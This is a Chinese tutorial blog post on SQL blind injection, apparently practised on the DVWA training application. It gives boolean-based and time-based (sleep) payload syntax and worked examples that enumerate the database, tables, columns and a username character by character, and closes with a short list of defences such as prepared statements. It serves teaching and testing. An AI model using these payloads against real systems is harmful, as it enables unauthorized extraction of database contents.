分享

渗透测试技术

 书中星星 2019-10-29

一、SQL盲注攻击介绍

1.SQL盲注简介
盲注是在SQL注入攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回的简单内容的变化来判断服务器是否存在注入。

2.SQL盲注的方法

  • (boolean-based)boolean型注入:通过页面的返回内容是否正确来验证是否存在着注入
  • (time-based)时间型注入:通过SQL语句的处理时间的不同来判断是否存在注入,时间型注入可以使用benchmark函数和sleep函数等造成延时效果,通过执行SQL语句的时间来判断是否存在注入。

2.SQL盲注与SQL注入的区别
盲注:盲注分为Boolean型盲注和时间型盲注,Boolean型盲注的回显只有是或者不是;时间型盲注可能没有回显。盲注的最大特点是回显没有详细信息,只有是或者否。
注入:注入的回显会看到详细的内容。

二、SQL盲注的原理

SQL盲注的原理实际上就是攻击者通过构造恶意的SQL语句去查询数据库中的信息,这一点与SQL注入相同。只是SQL盲注不会显示具体内容,攻击者需要去一个字符一个字符的猜测,通过回显的内容(Boolean型注入通过是或者不是来判断,时间型注入通过SQL语句处理时间来进行判断)来判断一个字符对还是错。因此,SQL盲注的工作量相对于SQL注入是非常大的。

三、SQL盲注步骤

由于只是为了说明SQL盲注的语法,因此下面的验证我只取了正确的答案直接进行了验证,真正环境中需要进行尝试。

Boolean型SQL盲注
1.判断是否存在注入,注入是字符型还是数字型

判断SQL注入类型的方法。想办法让其报错,如果输入某种错误的代码回显与准确查询结果不同,那么就是该类型的SQL注入。
判断SQL注入类型最常用的四条语句
1’ and ‘1’=‘1 这个与只输入1的回显结果相同,1’ 和 and ‘1’='1都为真
1’ and ‘1’=‘2 如果这条语句报错(或者说回显与1’ and ‘1’=‘1这一条不同),那么就说明数据库执行了and后面的’1’='2,那就说明该数据库存在字符型注入
1 and 1=1 这个输入与只输入1的回显结果相同,1 和 and 1=1都为真,
1 and 1=2 如果这条语句报错(或者说回显与1 and 1=1这一条不同),那么就说明数据库执行了and后面的1=2,那就说明数据库存在数字型输入
如下例(下例中的ID不是回显,只是打印了一下输入而已,不要被误导)

  • 只输入一个1,回显如下
    在这里插入图片描述
  • 输入1’ and ‘1’ = ‘1
    在这里插入图片描述
    回显与只输入一个1一样,因此现在也不能判断是否存在哪种类型的注入,因为现在不能确定and后面的’1’='1是否执行
  • 输入1’ and ‘1’='2
    在这里插入图片描述
    回显与只输入一个1不同,出现了报错,说明and后面的’1’='2执行了,基本可以判断为字符型SQL注入
  • 输入1 and 1=1
    在这里插入图片描述
    现在也不能判断是否存在哪种类型的注入,因为现在不能确定and后面的1=1是否执行
  • 输入1 and 1=2
    在这里插入图片描述
    没有出现报错,说明and后面的1=2没有被执行,因此不是数字型SQL注入
2.猜解当前数据库名

(1):猜解当前数据库的长度
语法:1’ and length(database())=猜测的数据库长度#(也可以使用大于号、小于号来判断数据库长度范围)
猜测数据库的长度
1’ and length(database())=4#
在这里插入图片描述
(2):猜测数据库名称
语法:
1’ and substr(要猜测的内容,起始位置,返回的长度)=’猜测的字符’#
1‘ and ascii(substr(要猜测的内容,起始位置,返回的长度))=猜测的字符对应的ASCII码#
1’ and ord(substr(要猜测的内容,起始位置,返回的长度))=猜测的字符对应的ASCII码#

注意:返回的长度只能是1,因为盲注只能一个一个的猜测

  • 猜测数据库的第一个字符
    1’ and substr(database(),1,1)=‘d’#
    在这里插入图片描述
  • 猜测数据库的第二个字符
    1’ and substr(database(),2,1)=‘v’#
    在这里插入图片描述
  • 猜测数据库的第三个字符
    1’ and ascii(substr(database(),3,1))=119#
    在这里插入图片描述
    第三个字符为w
  • 猜测数据库的第四个字符
    1’ and ord(substr(database(),4,1))=97#在这里插入图片描述
    第四个字符为a
    以数据库名字为dvwa
3.猜解数据库中的表名

(1):猜解数据库中有几个表
语法:1’ and (select count(table_name) from information_schema.tables where table_schema=database)=猜测的长度#
在这里插入图片描述
(2):猜解数据库中某个表的长度
语法:1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 起始位置,返回的长度),substr函数的起始位置))=猜测的长度#
猜测数据库中第二个表的长度
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5#
在这里插入图片描述
数据库中第二个表的长度是5
注意:前两个1是limit中的初始位置和返回的长度,第一个1表示的是第二个数据库(因为limit下标从0开始);第二个1表示的是返回的长度,也就是说每次只能猜测一个字符,因此这个1一般不会改变;第三个1表示的是substr()函数的起始位置,一般默认为1(因为正常情况下都是从1开始),这里一般不改变;substr()函数还有一个可选参数length(),如果选择这个参数则会显示出相应的长度,如果不选这个参数,则默认输出所有字符,因为是要查询一个表的长度,自然是要从第一个到最后一个,因此不指定length()函数的可选字符,让其安装默认直到字符串的结尾
有一个误区:在这块查询的时候使用的是mysql语言,而不是php语言,mysql中substr()函数默认从1开始,而php语言默认是从0开始的。因此在查询时最后一个1的位置应该是1而不是0。

(3):猜解数据库中某个表的名称
语法:
1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 起始位置,返回的长度),substr函数的起始位置,返回的字符串的长度)=要查询的字符的ASCII码 #
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 起始位置,返回的长度),substr函数的起始位置)=要查询的字符的ASCII码 #
1’ and ord(substr((select table_name from information_schema.tables where table_schema=database() limit 起始位置,返回的长度),substr函数的起始位置)=要查询的字符的ASCII码 #

  • 判断第二个表中的第一个字符
    1’ and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)=‘u’ #
    在这里插入图片描述
    第一个字符是u
  • 判断第二个表中的第二个字符
    1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),2))=115 #
    在这里插入图片描述
    第二个字符为s
  • 判断第二个表中的第三个字符
    1’ and ord(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),3))=101#在这里插入图片描述
    第三个字符为e
  • 判断第二个表中的第四个字符
    1’ and substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),4,1)=‘r’ #
    在这里插入图片描述
    第四个字符为r
  • 判断第二个表中的第五个字符
    1’ and substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),5,1)=‘s’ #
    在这里插入图片描述
    第五个字符为s
    所以该表名为users
    注意:如果使用ascii码的的方式,则substr()函数的可选参数length可以省略;但是如果没有使用ascii码,则substr()函数的参数不能省略。
4.猜测表中的字段名

(1):猜解表中有几个字段
语法:1’ and (select count(column_name) from information_schema.columns where table_name=‘要查询的表名’)=猜测的字段个数#
猜测第二个表有几个字段
1’ and (select count(column_name) from information_schema.columns where table_name=‘users’)=8#
在这里插入图片描述
(2):猜解某个字段的长度
语法:1’ and length(substr((select column_name from information_schema.columns where table_name=‘要查询的表名’ limit 起始位置,返回的长度),substr函数的起始位置))=猜测的长度 #

  • 猜测第四个字段的长度
    1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),1))=4 #
    在这里插入图片描述
    (3):猜解字段的名称
    语法:
    1’ and substr((select column_name from information_schema.columns where table_name=‘要查询的表名’ limit 起始位置,返回的长度),substr函数的起始位置,substr函数返回的长度)=‘猜测的字符’#
    1’ and ascii(substr((select table_name from information_schema.columns where table_schema=‘要查询的表名’ limit 起始位置,返回的长度),substr函数的起始位置)=要查询的字符的ASCII码 #
    1’ and ord(substr((select table_name from information_schema.columns where table_schema=‘要查询的表名’ limit 起始位置,返回的长度),substr函数的起始位置)=要查询的字符的ASCII码 #
    **
  • 第四个字段的第一个字符
    1’ and substr((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),1,1)=‘u’#
    在这里插入图片描述
  • 第四个字段的第二个字符
    1’ and substr((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),2,1)=‘s’#
    在这里插入图片描述
  • 第四个字段的第三个字符
    1’ and substr((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),3,1)=‘e’#
    在这里插入图片描述
  • 第四个字段的第四个字符
    1’ and substr((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),4,1)=‘r’#
    在这里插入图片描述
5.猜解数据

(1):猜解某个字段中的每一行对应内容的长度
语法:1’ and length(substr((select user from users limit 起始位置,返回的长度),substr函数的起始位置))=猜测的长度#

  • 猜测第一个字段的第一行内容的长度
    1’ and length(substr((select user from users limit 0,1),1))=5#
    在这里插入图片描述
    (2):猜解具体的内容
    **语法:
    1’ and substr((select user from users limit 起始位置,返回的长度),substr函数的起始位置,substr函数返回的长度)=‘猜测的字符’#
    1’ and ascii(substr((select user from users limit 起始位置,返回的长度),substr函数的起始位置))=猜测的字符对应的ASCII码#
    1’ and ord(substr((select user from users limit 起始位置,返回的长度),substr函数的起始位置))=猜测的字符对应的ASCII码#
    **
  • 猜测第一个字符
    1’ and substr((select user from users limit 0,1),1,1)=‘a’#
    在这里插入图片描述
  • 猜测第二个字符
    1’ and ord(substr((select user from users limit 0,1),2))=100#
    在这里插入图片描述
  • 猜测第三个字符
    1’ and ascii(substr((select user from users limit 0,1),3))=109#
    在这里插入图片描述
  • 猜测第四个字符
    1’ and substr((select user from users limit 0,1),4,1)=‘i’#
    在这里插入图片描述
  • 猜测第五个字符
    1’ and substr((select user from users limit 0,1),5,1)=‘n’#
    在这里插入图片描述
    第一个字段对应的第一行的内容为admin
时间型盲注
1.判断是否存在注入,注入是字符型还是数字型

判断SQL注入类型最常用的四条语句
1’ and ‘1’=‘1 这个与只输入1的时间长短相同,1’ 和 and ‘1’='1都为真
1’ and ‘1’=‘2 如果这条语句执行时间变长,那么就说明数据库执行了and后面的’1’='2,那就说明该数据库存在字符型注入
1 and 1=1 这个输入与只输入1的时间长短相同,1 和 and 1=1都为真,
1 and 1=2 如果这条语句执行时间变长,那么就说明数据库执行了and后面的1=2,那就说明数据库存在数字型输入

2.猜解当前数据库名

(1):猜解当前数据库的长度
**语法:1 and if(length(database())=猜测的数据库长度,sleep(等待时间),1)#(也可以使用大于号、小于号来判断数据库长度范围)
注意:最后一个1表示如果不休息5秒则直接跳过
**
(2):猜测数据库名称
语法:
1 and if (substr(要猜测的内容,起始位置,返回的长度)=’猜测的字符’,sleep(等待时间),1)#
1 and if (ascii(substr(要猜测的内容,起始位置,返回的长度))=猜测的字符对应的ASCII码,sleep(等待时间),1)#
1 and if (ord(substr(要猜测的内容,起始位置,返回的长度))=猜测的字符对应的ASCII码,sleep(等待时间),1)#

注意:返回的长度只能是1,因为盲注只能一个一个的猜测

3.猜解数据库中的表名

(1):猜解数据库中有几个表
语法:1 and if((select count(table_name) from information_schema.tables where table_schema=database())=猜测的表的个数,sleep(等待时间),1)#
(2):猜解数据库中某个表的长度
语法:1 and if (length(substr((select table_name from information_schema.tables where table_schema=database() limit 起始位置,返回的长度),substr函数的起始位置))=猜解的数据库中某个表长度,sleep(等待时间),1)#
(3):猜解数据库中某个表的名称
语法:
1 and if (substr((select table_name from information_schema.tables where table_schema=database() limit 起始位置,返回的长度),substr函数的起始位置,substr函数返回的长度)=‘猜测的字符’,sleep(等待时间),1)#
1 and if (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 起始位置,返回的长度),substr函数的起始位置))=猜测的字符对应的ASCII码,sleep(等待时间),1)#
1 and if (ord(substr((select table_name from information_schema.tables where table_schema=database() limit 起始位置,返回的长度),substr函数的起始位置))=猜测的字符对应的ASCII码,sleep(等待时间),1)#

4.猜测表中的字段名

(1):猜解表中有几个字段
语法:1 and if ((select count(column_name) from information_schema.columns where table_name=‘要查询的表名’)=猜测的字段数,sleep(等待时间),1) #(有时需要将要查询的表名进行转码)
(2):猜解某个字段的长度
语法:1 and if (length(substr((select column_name from information_schema.columns where table_name=‘要查询的表名’ limit 起始位置,返回的长度),substr函数的起始位置))=猜测的字段数的长度,sleep(等待时间),1)#
(3):猜解字段的名称
语法:
1 and if (substr((select column_name from information_schema.columns where table_name=‘要查询的表名’ limit 起始位置,返回的长度,substr函数返回的长度))=猜测的字符,sleep(等待时间),1)#
1 and if (ascii(substr((select column_name from information_schema.columns where table_name=‘要查询的表名’ limit 起始位置,返回的长度),substr函数的起始位置))=猜测的字符对应的ASCII码,sleep(等待时间),1)#
1 and if (ord(substr((select column_name from information_schema.columns where table_name=‘要查询的表名’ limit 起始位置,返回的长度),substr函数的起始位置))=猜测的字符对应的ASCII码,sleep(等待时间),1)#

5.猜解数据

(1):猜解某个字段中的每一行对应内容的长度
语法:1 and if (length(substr((select user from users limit 起始位置,返回的长度),substr函数的起始位置))=猜测的长度,sleep(5),1)#
(2):猜解具体的内容
语法:
1 and if (substr((select user from users limit 起始位置,返回的长度),substr函数的起始位置,substr函数返回的长度)=‘猜测的字符’,sleep(等待时间),1)#
1 and if (ascii(substr((select user from users limit 起始位置,返回的长度),substr函数的起始位置))=猜测的字符对应的ASCII码,sleep(等待时间),1)#
1 and if (ord(substr((select user from users limit 起始位置,返回的长度),substr函数的起始位置))=猜测的字符对应的ASCII码,sleep(等待时间),1)#

总结:盲注的方法如下
1.判断是否存在注入

  • 字符型
  • 数字型

2.猜解当前数据库

  • 猜解数据库的长度
  • 猜解数据库的名称

3.猜解数据库中的表名

  • 猜解数据库中有几个表
  • 猜解数据库中某个表的长度
  • 猜解数据库中表的名称

4.猜解表中的字段名

  • 猜解表中有几个字段
  • 猜解字段的长度
  • 猜解字段的名称

5.猜解数据

四、防御SQL盲注的方法

与防御SQL注入的方法一样,在这再写一遍。

1.使用安全的API(应用程序编程接口)
2.过滤危险字符,例如采用正则表达式匹配union、sleep等关键字,如果匹配到,则退出程序。
3.对输入的特殊字符进行Escape转义处理
4.使用白名单来规范用户的输入,对客户端进行控制,不允许输入SQL注入相关的特殊字符
5.服务器端在提交数据之前进行SQL语句查询,对特殊字符进行过滤、转义、替换和删除等操作
6.使用PDO预编译语句,PDO技术就是将查询查询的语句和输入的参数分开,先将需要查询的语句进行预编译,然后再将参数传入进去,注意,不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增删改查。(PDO预编译是防御SQL注入最好的方法)

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多